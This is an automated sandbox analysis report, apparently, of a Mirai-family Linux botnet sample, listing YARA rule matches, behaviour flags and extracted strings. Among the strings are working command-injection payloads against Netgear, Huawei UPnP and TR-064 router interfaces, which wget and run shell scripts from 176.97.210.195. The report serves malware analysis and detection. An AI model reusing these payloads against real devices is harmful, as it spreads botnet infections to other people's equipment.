Source: 9457.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 9457.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 9459.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 9459.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 9446.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 9446.1.00007fddd7163000.00007fddd7183000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16

Source: Initial sample	Potential command found: GET / HTTP/1.1
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://176.97.210.195/bins.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://176.97.210.195/bins.sh;sh${IFS}/tmp/bins.sh&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://176.97.210.195/bins.sh;chmod+777+bins.sh;sh+bins.sh+b HTTP/1.1
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://176.97.210.195/bins.sh;${IFS}sh${IFS}/var/tmp/bins.sh
Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://176.97.210.195/bin.sh;chmod+777+bin.sh;sh+/tmp/bins.sh+varcron
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS};${IFS}wget${IFS}http://176.97.210.195/bins.sh;${IFS}sh${IFS}/var/tmp/bins.shGET /board.cgi?cmd=cd+/tmp;rm+-rf+;wget+http://176.97.210.195/bin.sh;chmod+777+bin.sh;sh+/tmp/bins.sh+varcron%d.%d.%d.%dOne waveabcdefghijklmnopqrstuvw012345678one trehadPMMVZA

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: orf;cd /tmp; rm -rf mpsl; cd /tmp; /bin/busybox wget http://176.97.210.195/mipsel && chmod +x mipsel && ./mipsel
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 176.97.210.195 -l /tmp/huawei -r /bins.sh;chmod -x huawei;sh /tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://176.97.210.195/bins.sh && chmod 777 /tmp/bins.sh && sh /tmp/bins.sh`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Source: Initial sample	String containing 'busybox' found: OpenAss12345orf;cd /tmp; rm -rf mpsl; cd /tmp; /bin/busybox wget http://176.97.210.195/mipsel && chmod +x mipsel && ./mipsel
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 176.97.210.195 -l /tmp/huawei -r /bins.sh;chmod -x huawei;sh /tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /UD/act?1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://176.97.210.195/bins.sh && chmod 777 /tmp/bins.sh && sh /tmp/bins.sh`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /UD/act?1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://176.97.210.195/bins.sh && chmod 777 /tmp/bins.sh && sh /tmp/bins.sh`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /HNAP1/ HTTP/1.0
Source: Initial sample	String containing 'busybox' found: /bin/busybox MIRAI
Source: Initial sample	String containing 'busybox' found: enablesystemshellsh/bin/busybox MIRAI

Source: classification engine

Classification label: mal100.troj.evad.lin@0/2@0/0

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/robinbot_sample2 (PID: 9446)

File: /tmp/robinbot_sample2

Jump to behavior

Source: /tmp/robinbot_sample2 (PID: 9446)	Queries kernel information via 'uname':
Source: /usr/share/apport/apport-gtk (PID: 9501)	Queries kernel information via 'uname':
Source: /usr/share/apport/apport-gtk (PID: 9533)	Queries kernel information via 'uname':

Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_set_defaults
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_oom_check
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/translate.cNIP %08x LR %08x CTR %08x XER %08x CPU#%d
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qapi/string-output-visitor.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: do_qemu_set_log
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qom/container.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_set
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_foreach
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_thread_naming
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_getauxval
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_find
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get_size_del
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_free_irqs
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_sem_timedwait
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: halted runningT%02xthread:%02x;ContvCont;c;C;s;ST02E22E14qemu.sstepbitsENABLE=%x,NOIRQ=%x,NOTIMER=%xqemu.sstepQC1fThreadInfosThreadInfom%xThreadExtraInfo,CPU#%d [%s]OffsetsText=%08x;Data=%08x;Bss=%08xSupportedPacketSize=%x;qXfer:features:read+Xfer:features:read:target.xml<xi:include href=""/></target>AttachedW%02xS%02x%08x/%xX%02xlistenaccept
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/hw/core/irq.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: _/build/qemu-tYeErX/qemu-2.5+dfsg/hw/core/qdev.cUnknown device '%s' for bus '%s'Unknown device '%s' for default sysbusInitialization of device %s failed: %sgpio_list->num_out == 0 \|\| !namegpio_list->num_in == 0 \|\| !namen >= 0 && n < gpio_list->num_inBus '%s' does not support hotpluggingDevice '%s' does not support hotpluggingchild[%d]%s.%dhotpluggablehotplug-handlerDevice exit failed.Device initialization failed.bus != sysbus_get_default()!dev->realizedunnamed-gpio-in%s[%u]unnamed-gpio-outirq%s[%d]hotpluggedlegacy-%sstrparent_bus/machinehotplug_ctrl/unattachednon-qdev-gpio[*]device[%d]bus_get_realizedbus_set_realizedqbus_initfnqbus_finalizebus_unparentbus_unparentbus_class_initqdev_get_legacy_propertydevice_get_realizeddevice_set_realizeddevice_get_hotpluggabledevice_get_hotpluggeddevice_set_hotpluggeddevice_initfndevice_post_initdevice_finalizedevice_unparentdevice_realizedevice_unrealizedevice_class_initdevice_class_base_initdevice_resetqdev_alias_all_propertiesqdev_get_dev_pathbus_get_fw_dev_pathqbus_createqbus_realizeqdev_get_gpio_in_namedqdev_init_gpio_out_namedqdev_init_gpio_in_namedqdev_init_nofailqdev_reset_all_fnqbus_reset_oneqdev_unplugqdev_get_hotplug_handlerqdev_set_legacy_instance_idqdev_try_createqdev_fw_nameqdev_get_vmsd/build/qemu-tYeErX/qemu-2.5+dfsg/hw/core/qdev-properties.cprop->info == &qdev_prop_bit64Attempt to set property '%s' on device '%s' (type '%s') after it was realizedAttempt to set property '%s' on anonymous device (type '%s') after it was realizedProperty %s.%s doesn't take value %ld (minimum: %ld, maximum: %ld)Property %s.%s doesn't take value '%ld', it's not a power of 2array size property %s may not be set more than oncestrncmp(name, PROP_ARRAY_LEN_PREFIX, strlen(PROP_ARRAY_LEN_PREFIX)) == 0Attempt to set link property '%s' on device '%s' (type '%s') after it was realizedProperty '%s.%s' can't take value '%s', it's in useProperty '%s.%s' doesn't take value '%s'Property '%s.%s' can't find value '%s'prop && prop->info == &qdev_prop_ptrWarning: global %s.%s has invalid class nameWarning: global %s.%s=%s not usedWarning: global %s.%s=%s ignored (%s)Address (bus/device/function) of the host device, example: 04:10.0A power of two between 512 and 32768Slot and optional function number, example: 06.0 or 06Logical CHS translation algorithm, auto/none/lba/large/rechsEthernet 6-byte MAC Address, example: 52:54:00:12:34:56%02x:%02x:%02x:%02x:%02x:%02xprop->info == &qdev_prop_bit<unset>%02x.%x%04x:%02x:%02x.%drc == sizeof(buffer) - 1len-nullParameter '%s' expects %spci_devfn%x.%x%nprop->user_provideduint32uint16BiosAtaTranslationLostTickPolicyptruint64uint8boolon/offget_sizeset_sizeqdev_prop_set_globals_for_typeqdev_prop_check_globalsqdev_prop_set_ptrqdev_prop_finderror_set_from_qdev_prop_errorset_prop_arraylenset_prop_arraylenget_pci_host_devaddrget_pci_host_devaddrset_pci_host_devaddrset_blocksizeset_pci_devfnget_enumset_enumget_macset_macget_stringset_stringrelease_stringget_uint64set_uint64get_int32set_int32get_uint32set
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/hw/core/fw-path-provider.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/linux-user/mmap.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_strtoull
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: leulleslbeuwbeulbeqbeswbeslneveralwaysgeuleuraise_exception_errraise_exceptionlmwstmwlswxdcbzicbilscbxdivweudivwecntlsw32cntlzw32float_check_statusreset_fpstatuscompute_fprfstore_fpscrfpscr_clrbitfpscr_setbitfloat64_to_float32float32_to_float64fcmpofcmpufctiwfctiwufctiwzfctiwuzfcfidfcfidufcfidsfcfidusfctidfctidufctidzfctiduzfrspfrinfrizfripfrimfdivfmaddfmsubfnmaddfnmsubfsqrtfrefresfrsqrtefselftdivftsqrtvaddubmvadduhmvadduwmvaddudmvsububmvsubuhmvsubuwmvsubudmvavgubvavguhvavguwvavgsbvavgshvavgswvminsbvminshvminswvminsdvmaxsbvmaxshvmaxswvmaxsdvminubvminuhvminuwvminudvmaxubvmaxuhvmaxuwvmaxudvcmpequbvcmpequhvcmpequwvcmpgtubvcmpgtuhvcmpgtuwvcmpgtsbvcmpgtshvcmpgtswvcmpeqfpvcmpgefpvcmpgtfpvcmpbfpvcmpequb_dotvcmpequh_dotvcmpequw_dotvcmpequd_dotvcmpgtub_dotvcmpgtuh_dotvcmpgtuw_dotvcmpgtud_dotvcmpgtsb_dotvcmpgtsh_dotvcmpgtsw_dotvcmpgtsd_dotvcmpeqfp_dotvcmpgefp_dotvcmpgtfp_dotvcmpbfp_dotvmrglbvmrglhvmrglwvmrghbvmrghhvmrghwvmulesbvmuleshvmuleswvmuleubvmuleuhvmuleuwvmulosbvmuloshvmuloswvmuloubvmulouhvmulouwvsrabvsrahvsrawvsradvsrbvsrhvsrwvsrdvslbvslhvsldvslovsrovaddcuwvsubcuwlvsllvsrvaddsbsvaddshsvaddswsvsubsbsvsubshsvsubswsvaddubsvadduhsvadduwsvsububsvsubuhsvsubuwsvadduqmvaddeuqmvaddcuqvsubuqmvsubeuqmvsubcuqvrlbvrlhvrldvsldoivspltisbvspltishvspltiswvspltbvsplthvspltwvupkhpxvupklpxvupkhsbvupkhshvupkhswvupklsbvupklshvupklswvmsumubmvpkshssvpkshusvpkswssvpkswusvpksdssvpksdusvpkuhusvpkuwusvpkudusvpkuhumvpkuwumvpkudumvpkpxvmhaddshsvmsumuhmvmsumshmvmladduhmmtvscrlvebxlvehxlvewxstvebxstvehxstvewxvsumswsvsum2swsvsum4sbsvsum4shsvsum4ubsvaddfpvsubfpvmaxfpvminfpvrefpvrsqrtefpvmaddfpvexptefpvlogefpvrfimvrfinvrfipvrfizvcfuxvcfsxvctuxsvctsxsvclzbvclzhvclzwvclzdvbpermqvgbbdvpmsumbvpmsumhvpmsumwvpmsumdvsboxvciphervnciphervshasigmawvshasigmadxsadddpxssubdpxsmuldpxsdivdpxsredpxssqrtdpxsrsqrtedpxstdivdpxstsqrtdpxsmaddadpxsmaddmdpxsmsubadpxsmsubmdpxsnmaddadpxsnmaddmdpxsnmsubadpxsnmsubmdpxscmpodpxscmpudpxsmaxdpxsmindpxscvdpspxscvdpspnxscvspdpxscvspdpnxscvdpsxdsxscvdpsxwsxscvdpuxdsxscvdpuxwsxscvsxddpxscvuxdspxscvsxdspxscvuxddpxsrdpixsrdpicxsrdpimxsrdpipxsrdpizxsaddspxssubspxsmulspxsdivspxsrespxsrspxssqrtspxsrsqrtespxsmaddaspxsmaddmspxsmsubaspxsmsubmspxsnmaddaspxsnmaddmspxsnmsubaspxsnmsubmspxvadddpxvsubdpxvmuldpxvdivdpxvredpxvsqrtdpxvrsqrtedpxvtdivdpxvtsqrtdpxvmaddadpxvmaddmdpxvmsubadpxvmsubmdpxvnmaddadpxvnmaddmdpxvnmsubadpxvnmsubmdpxvmaxdpxvmindpxvcmpeqdpxvcmpgedpxvcmpgtdpxvcvdpspxvcvdpsxdsxvcvdpsxwsxvcvdpuxdsxvcvdpuxwsxvcvsxddpxvcvuxddpxvcvsxwdpxvcvuxwdpxvrdpixvrdpicxvrdpimxvrdpipxvrdpizxvaddspxvsubspxvmulspxvdivspxvrespxvsqrtspxvrsqrtespxvtdivspxvtsqrtspxvmaddaspxvmaddmspxvmsubaspxvmsubmspxvnmaddaspxvnmaddmspxvnmsubaspxvnmsubmspxvmaxspxvminspxvcmpeqspxvcmpgespxvcmpgtspxvcvspdpxvcvspsxdsxvcvspsxwsxvcvspuxdsxvcvspuxwsxvcvsxdspxvcvuxdspxvcvsxwspxvcvuxwspxvrspixvrspicxvrspimxvrspipxvrspizefscfuiefscfufefsctuiefsctsizefsctuizefsctufevfscfuievfscfufevfsctuievfsctsizevfsctuizevfsctufefsaddefsmulevfsaddevfsmulefststgtefststeqefscmpgtefscmpeqevfststgtevfststeqevfscmpgtevfscmpeqefdcfuiefdc
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/util/envlist.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: protstart < endpage_set_flagstb_gen_codecpu_restore_state_from_tbtb_unlocktb_lock/build/qemu-tYeErX/qemu-2.5+dfsg/cpu-exec.c/build/qemu-tYeErX/qemu-2.5+dfsg/include/qom/cpu.h/build/qemu-tYeErX/qemu-2.5+dfsg/include/qemu/rcu.hcc->set_pcTrace %p [%08x] %s
Source: robinbot_sample2, 9446.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9457.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9459.1.00007fff798fa000.00007fff7991b000.rw-.sdmp	Binary or memory string: nUqemu-binfmt/ppc
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_strtosz_suffix
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /usr/lib/x86_64-linux-gnu/qemu
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_free
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_ld_i32
